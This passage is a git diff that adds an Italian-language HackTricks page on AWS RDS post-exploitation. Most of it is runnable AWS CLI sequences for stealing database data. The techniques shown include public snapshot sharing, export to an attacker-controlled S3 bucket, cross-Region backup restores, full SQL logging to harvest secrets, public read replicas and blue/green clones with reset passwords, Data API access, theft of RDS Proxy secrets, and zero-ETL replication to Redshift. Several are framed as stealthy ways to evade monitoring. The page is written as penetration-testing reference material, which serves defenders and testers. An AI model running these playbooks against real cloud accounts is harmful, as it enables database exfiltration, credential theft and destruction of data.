mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-09 03:40:59 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,607 @@
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Se l'attaccante ha i permessi sufficienti, potrebbe rendere un **DB accessibile pubblicamente** creando uno snapshot del DB e poi un DB accessibile pubblicamente dallo snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
aws rds create-db-snapshot \
|
||||
--db-instance-identifier <db-id> \
|
||||
--db-snapshot-identifier cloudgoat
|
||||
|
||||
# Get subnet groups & security groups
|
||||
aws rds describe-db-subnet-groups
|
||||
aws ec2 describe-security-groups
|
||||
|
||||
aws rds restore-db-instance-from-db-snapshot \
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--db-snapshot-identifier <scapshotId> \
|
||||
--db-subnet-group-name <db subnet group> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <ec2-security group>
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--master-user-password 'Llaody2f6.123' \
|
||||
--apply-immediately
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Un attacker con queste autorizzazioni potrebbe **creare uno snapshot di un DB** e renderlo **pubblicamente** **disponibile**. Poi, potrebbe semplicemente creare nel proprio account un DB da quello snapshot.
|
||||
|
||||
Se l'attacker **non ha la `rds:CreateDBSnapshot`**, potrebbe comunque rendere **altri** snapshot creati **pubblici**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
|
||||
# Make it public/share with attackers account
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Un attaccante con il permesso `rds:DownloadDBLogFilePortion` può **scaricare porzioni dei file di log di un'istanza RDS**. Se dati sensibili o credenziali di accesso vengono registrati per errore, l'attaccante potrebbe potenzialmente usare queste informazioni per elevare i propri privilegi o eseguire azioni non autorizzate.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: Accesso a informazioni sensibili o azioni non autorizzate utilizzando leaked credentials.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Un attaccante con questi permessi può **DoS existing RDS instances**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Impatto potenziale**: Cancellazione di istanze RDS esistenti e possibile perdita di dati.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> Da testare
|
||||
|
||||
Un attaccante con questa autorizzazione può **esportare uno snapshot di un'istanza RDS in un bucket S3**. Se l'attaccante ha il controllo sul bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Impatto potenziale**: Accesso a dati sensibili nello snapshot esportato.
|
||||
|
||||
### Replica cross-Region delle Automated Backups per ripristino stealth (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abusare della replica cross-Region delle Automated Backups per duplicare silenziosamente le Automated Backups di un'istanza RDS in un'altra AWS Region e ripristinarle lì. L'attaccante può poi rendere il DB ripristinato accessibile pubblicamente e resettare la password master per accedere ai dati fuori banda in una Region che i difensori potrebbero non monitorare.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` nella Region di destinazione
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` nella Region di destinazione
|
||||
- `rds:RestoreDBInstanceToPointInTime` nella Region di destinazione
|
||||
- `rds:ModifyDBInstance` nella Region di destinazione
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (cleanup opzionale)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (per esporre il DB ripristinato)
|
||||
|
||||
Impact: Persistenza e esfiltrazione dei dati ripristinando una copia dei dati di produzione in un'altra Region ed esponendola pubblicamente con credenziali controllate dall'attaccante.
|
||||
|
||||
<details>
|
||||
<summary>CLI end-to-end (sostituire i segnaposto)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
--region <SOURCE_REGION> \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
|
||||
--output table
|
||||
|
||||
# 2) Start cross-Region automated backups replication (run in DEST region B)
|
||||
aws rds start-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
|
||||
--source-region <SOURCE_REGION> \
|
||||
--backup-retention-period 7
|
||||
|
||||
# 3) Wait for replication to be ready in DEST
|
||||
aws rds describe-db-instance-automated-backups \
|
||||
--region <DEST_REGION> \
|
||||
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
|
||||
--output table
|
||||
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
|
||||
|
||||
# 4) Restore to latest restorable time in DEST
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
|
||||
--target-db-instance-identifier <TARGET_DB_ID> \
|
||||
--use-latest-restorable-time \
|
||||
--db-instance-class db.t3.micro
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5) Make public and reset credentials in DEST
|
||||
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
|
||||
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
|
||||
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
|
||||
--query GroupId --output text)
|
||||
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
|
||||
--group-id "$OPEN_SG_ID" \
|
||||
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
|
||||
|
||||
# 5b) Publicly expose restored DB and attach the SG
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids "$OPEN_SG_ID" \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5c) Reset the master password
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--master-user-password '<NEW_STRONG_PASSWORD>' \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
|
||||
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
|
||||
|
||||
# 7) Optional: stop replication
|
||||
aws rds stop-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### Abilitare il full SQL logging tramite DB parameter groups ed esfiltrare usando RDS log APIs
|
||||
|
||||
Abuse `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie le credenziali del DB engine). Abilita l'engine SQL logging e recupera i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.
|
||||
|
||||
Permessi necessari (minimo):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (solo per associare un parameter group custom se l'istanza usa quello di default)
|
||||
- `rds:RebootDBInstance` (per parametri che richiedono reboot, es. PostgreSQL)
|
||||
|
||||
Passaggi
|
||||
1) Recon del target e del parameter group corrente
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Assicurati che sia associato un custom DB parameter group (non è possibile modificare quello di default)
|
||||
- Se l'istanza usa già un custom group, riutilizza il suo nome nel passaggio successivo.
|
||||
- Altrimenti crea e associa uno corrispondente all'engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--db-parameter-group-family postgres16 \
|
||||
--description "HT logging"
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <DB> \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Abilitare il logging SQL dettagliato
|
||||
- Motori MySQL (immediato / senza riavvio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
|
||||
# Optional extras:
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engines (richiede riavvio):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
|
||||
# Optional to log duration for every statement:
|
||||
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
|
||||
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Lasciare che il workload venga eseguito (o generare query). Le istruzioni SQL verranno scritte nei file di log del motore
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Individuare e scaricare i file di log (no DB creds required)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
|
||||
aws rds download-db-log-file-portion \
|
||||
--db-instance-identifier <DB> \
|
||||
--log-file-name general/mysql-general.log \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Analizzare offline alla ricerca di dati sensibili
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Esempio di evidenza (oscurata):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Pulizia
|
||||
- Ripristina i parametri ai valori predefiniti e riavvia se necessario:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
|
||||
|
||||
# PostgreSQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impatto: Accesso ai dati post-exploitation catturando tutte le istruzioni SQL dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attaccante può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica quella della primaria), e opzionalmente esporre la replica pubblicamente per exfiltrate data.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attaccante; minore probabilità di rilevamento poiché la primaria rimane intatta e la replica continua a replicare.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
|
||||
--output table
|
||||
|
||||
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
|
||||
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
|
||||
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
|
||||
|
||||
# 3) Create the read replica (optionally public)
|
||||
aws rds create-db-instance-read-replica \
|
||||
--db-instance-identifier <REPL_ID> \
|
||||
--source-db-instance-identifier <SOURCE_DB> \
|
||||
--db-instance-class db.t3.medium \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SGID>
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 4) Reset ONLY the replica master password (primary unchanged)
|
||||
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 5) Connect and dump (use the SOURCE master username + NEW password)
|
||||
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
|
||||
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Esempio di evidenza (MySQL):
|
||||
- Stato Replica DB: `available`, replicazione in lettura: `replicating`
|
||||
- Connessione riuscita con la nuova password e `@@read_only=1` che conferma l'accesso in sola lettura alla replica.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione di snapshot e spesso aggira il monitoring focalizzato solo sulla sorgente.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
|
||||
|
||||
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
|
||||
|
||||
# 2) Create Blue/Green deployment (replicates blue->green continuously)
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name ht-bgd-attack \
|
||||
--source <BLUE_DB_ARN> \
|
||||
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
|
||||
|
||||
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
|
||||
aws rds describe-blue-green-deployments \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
|
||||
|
||||
# Typical green id: <blue>-green-XXXX
|
||||
|
||||
# 3) Reset the green master password (does not affect blue)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--master-user-password 'Gr33n!Exfil#1' \
|
||||
--apply-immediately
|
||||
|
||||
# Optional: expose the green for direct access (attach an SG that allows the DB port)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
|
||||
--apply-immediately
|
||||
|
||||
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
|
||||
aws rds describe-db-instances \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text
|
||||
|
||||
# Then connect with the master username and the new password and run SELECT/dumps
|
||||
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
|
||||
|
||||
# 5) Cleanup – remove blue/green and the green resources
|
||||
aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impatto: accesso in sola lettura ma completo ai dati di una copia quasi in tempo reale dell'ambiente di produzione senza modificare l'istanza di produzione. Utile per estrazioni dati furtive e analisi offline.
|
||||
|
||||
|
||||
### SQL fuori banda via RDS Data API abilitando l'endpoint HTTP + reimpostando la password master
|
||||
|
||||
Abusa di Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la password master con un valore sotto il tuo controllo ed eseguire SQL su HTTPS (non è richiesto alcun percorso di rete VPC). Funziona sui motori Aurora che supportano Data API/EnableHttpEndpoint (es. Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impatto: aggirare la segmentazione di rete ed esfiltrare dati tramite AWS APIs senza connettività VPC diretta al DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI end-to-end (esempio Aurora MySQL)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
CLUSTER_ID=<target-cluster-id>
|
||||
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
|
||||
--db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].DBClusterArn' --output text)
|
||||
|
||||
# 2) Enable Data API HTTP endpoint on the cluster
|
||||
# Either of the following (depending on API/engine support):
|
||||
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
|
||||
# or
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--enable-http-endpoint --apply-immediately
|
||||
|
||||
# Wait until HttpEndpointEnabled is True
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].HttpEndpointEnabled' --output text
|
||||
|
||||
# 3) Reset master password to attacker-controlled value
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
|
||||
# Wait until pending password change is applied
|
||||
while :; do
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
|
||||
[[ "$P" == "None" || "$P" == "null" ]] && break
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 4) Create a Secrets Manager secret for Data API auth
|
||||
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
|
||||
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
|
||||
--query ARN --output text)
|
||||
|
||||
# 5) Prove out-of-band SQL via HTTPS using rds-data
|
||||
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
|
||||
--format-records-as JSON
|
||||
```
|
||||
</details>
|
||||
|
||||
Note:
|
||||
- Se SQL multi-istruzione viene rifiutato da rds-data, eseguire chiamate execute-statement separate.
|
||||
- Per gli engine in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn.
|
||||
- Assicurarsi che l'engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled resterà False.
|
||||
|
||||
|
||||
### Raccogliere le credenziali DB tramite i segreti di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager utilizzato per l'autenticazione backend, poi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret usa una CMK, permessi KMS mal configurati potrebbero anche consentire `kms:Decrypt`.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` sul SecretArn referenziato
|
||||
- Facoltativo quando il secret usa una CMK: `kms:Decrypt` su quella chiave
|
||||
|
||||
Impatto: Divulgazione immediata dello username/password DB configurato sul proxy; permette accesso diretto al DB o ulteriore movimento laterale.
|
||||
|
||||
Passaggi
|
||||
```bash
|
||||
# 1) Enumerate proxies and extract the SecretArn used for auth
|
||||
aws rds describe-db-proxies \
|
||||
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
|
||||
--output table
|
||||
|
||||
# 2) Read the secret value (common over-permission)
|
||||
aws secretsmanager get-secret-value \
|
||||
--secret-id <SecretArnFromProxy> \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Laboratorio (minimo per riprodurre)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SECRET_ARN=$(aws secretsmanager create-secret \
|
||||
--region $REGION --name rds/proxy/aurora-demo \
|
||||
--secret-string username:admin \
|
||||
--query ARN --output text)
|
||||
aws iam create-role --role-name rds-proxy-secret-role \
|
||||
--assume-role-policy-document Version:2012-10-17
|
||||
aws iam attach-role-policy --role-name rds-proxy-secret-role \
|
||||
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
--auth [AuthScheme:SECRETS] \
|
||||
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
|
||||
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Pulizia (lab)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Esfiltrazione continua furtiva tramite Aurora zero‑ETL verso Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Abusa dell'integrazione Aurora PostgreSQL zero‑ETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless sotto il tuo controllo. Con una resource policy di Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per un specifico Aurora cluster ARN, un attacker può stabilire una copia dei dati in near‑real‑time senza DB creds, snapshots o esposizione di rete.
|
||||
|
||||
Permessi necessari (minimi):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Creare namespace Redshift Serverless + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
|
||||
--query namespace.namespaceArn --output text)
|
||||
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
|
||||
--query workgroup.workgroupArn --output text)
|
||||
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
|
||||
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Configura la resource policy di Redshift per consentire la sorgente Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
cat > rs-rp.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AuthorizeInboundByRedshiftService",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "redshift.amazonaws.com"},
|
||||
"Action": "redshift:AuthorizeInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN",
|
||||
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
|
||||
},
|
||||
{
|
||||
"Sid": "AllowCreateInboundFromAccount",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
|
||||
"Action": "redshift:CreateInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN"
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
